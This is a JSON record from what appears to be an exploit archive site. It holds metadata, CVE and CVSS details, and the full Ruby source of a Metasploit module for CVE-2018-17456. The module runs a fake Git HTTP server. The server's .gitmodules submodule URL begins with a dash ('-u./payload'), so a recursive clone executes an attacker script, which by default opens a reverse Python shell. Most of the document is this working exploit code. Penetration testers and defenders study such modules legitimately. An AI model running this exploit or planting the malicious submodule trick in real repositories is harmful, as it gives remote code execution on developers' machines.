{"exploit":{"id":"MSF-multi--http--git_submodule_url_exec","name":"Malicious Git HTTP Server For CVE-2018-17456","description":"This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g \"-u./payload\" is passed as an argument to git clone, the file \"payload\" inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)","cves":["CVE-2018-17456"],"author":"timwr","published":"2018-10-05","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/multi/http/git_submodule_url_exec.rb","path":"modules/exploits/multi/http/git_submodule_url_exec.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"git_submodule_url_exec.rb","vulnerabilities":[{"id":"CVE-2018-17456","state":"PUBLISHED","title":null,"titleSource":null,"description":"Git before 2.14.5, 2.15.x before 2.15.3, 2.16.x before 2.16.5, 2.17.x before 2.17.2, 2.18.x before 2.18.1, and 2.19.x before 2.19.1 allows remote code execution during processing of a recursive \"git clone\" of a superproject if a .gitmodules file has a URL field beginning with a '-' character.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-17456","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-17456"},"updatedAt":"2024-08-05T10:47:04.938Z","retrievedAt":"2026-11-26T19:06:29.079Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--git_submodule_url_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--git_submodule_url_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--git_submodule_url_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--git_submodule_url_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer\n  include Msf::Exploit::Git\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',\n        'Description' => %q{\n          This module exploits CVE-2018-17456, which affects Git\n          versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.\n\n          When a submodule url which starts with a dash e.g \"-u./payload\" is passed\n          as an argument to git clone, the file \"payload\" inside the repository\n          is executed.\n\n          This module creates a fake git repository which contains a submodule\n          containing the vulnerability. The vulnerability is triggered when the\n          submodules are initialised (e.g git clone --recurse-submodules URL)\n        },\n        'Author' => 'timwr',\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2018-17456'],\n          ['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],\n          ['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],\n          ['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],\n        ],\n        'DisclosureDate' => '2018-10-05',\n        'Targets' => [\n          [\n            'Automatic',\n            {\n              'Platform' => [ 'unix' ],\n              'Arch' => ARCH_CMD,\n              'Payload' => { 'Compat' => { 'PayloadType' => 'python' } }\n            }\n          ]\n        ],\n        'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_python' },\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),\n        OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])\n      ]\n    )\n  end\n\n  def setup\n    @repo_data = {\n      git: { files: {} }\n    }\n    setup_git\n    super\n  end\n\n  def setup_git\n    # URI must start with a /\n    unless git_uri && git_uri.start_with?('/')\n      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')\n    end\n\n    payload_content = \"#!/bin/sh\\n#{payload.raw} &\"\n    payload_file = Rex::Text.rand_text_alpha(4..6)\n\n    submodule_path = datastore['GIT_SUBMODULE']\n    if submodule_path.blank?\n      submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + \":\" + Rex::Text.rand_text_alpha(2..6).downcase\n    end\n    unless submodule_path.include? \":\"\n      fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')\n    end\n\n    gitmodules = \"[submodule \\\"#{submodule_path}\\\"]\npath = #{submodule_path}\nurl = -u./#{payload_file}\n\"\n\n    blob_obj = GitObject.build_blob_object(gitmodules)\n    @repo_data[:git][:files][\"/objects/#{blob_obj.path}\"] = blob_obj.compressed\n    payload_blob = GitObject.build_blob_object(payload_content)\n    @repo_data[:git][:files][\"/objects/#{payload_blob.path}\"] = payload_blob.compressed\n\n    tree_entries =\n      [\n        {\n          mode: '100644',\n          file_name: '.gitmodules',\n          sha1: blob_obj.sha1\n        },\n        {\n          mode: '100744',\n          file_name: payload_file,\n          sha1: payload_blob.sha1\n        },\n        {\n          mode: '160000',\n          file_name: submodule_path,\n          sha1: blob_obj.sha1\n        }\n      ]\n    tree_obj = GitObject.build_tree_object(tree_entries)\n    @repo_data[:git][:files][\"/objects/#{tree_obj.path}\"] = tree_obj.compressed\n\n    commit_obj = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)\n    @repo_data[:git][:files][\"/objects/#{commit_obj.path}\"] = commit_obj.compressed\n    @repo_data[:git][:files]['/HEAD'] = \"ref: refs/heads/master\\n\"\n    @repo_data[:git][:files]['/info/refs'] = \"#{commit_obj.sha1}\\trefs/heads/master\\n\"\n  end\n\n  def primer\n    # add the git and mercurial URIs as necessary\n    hardcoded_uripath(git_uri)\n    git_url = URI.parse(get_uri).merge(git_uri)\n    print_status(\"Malicious Git URI is #{git_url}\")\n    print_status(\"git clone --recurse-submodules #{git_url}\")\n  end\n\n  # handles git clone\n  def on_request_uri(cli, req)\n    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')\n    if @repo_data[:git][:files].key?(req_file)\n      vprint_status(\"Sending Git #{req_file}\")\n      send_response(cli, @repo_data[:git][:files][req_file])\n    else\n      vprint_status(\"Git #{req_file} doesn't exist\")\n      send_not_found(cli)\n    end\n  end\n\n  # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI\n  def git_uri\n    return @git_uri if @git_uri\n\n    if datastore['GIT_URI'].blank?\n      @git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'\n    else\n      @git_uri = datastore['GIT_URI']\n    end\n  end\nend\n","sha256":"36db7d7d7f6b946e12ca0a3022eefc76185c2d926db3033af3f875e22010ef51","bytes":5153,"fetchedAt":"2026-11-26T19:06:22.686Z","encoding":"utf-8 (display only; download retains original bytes)"}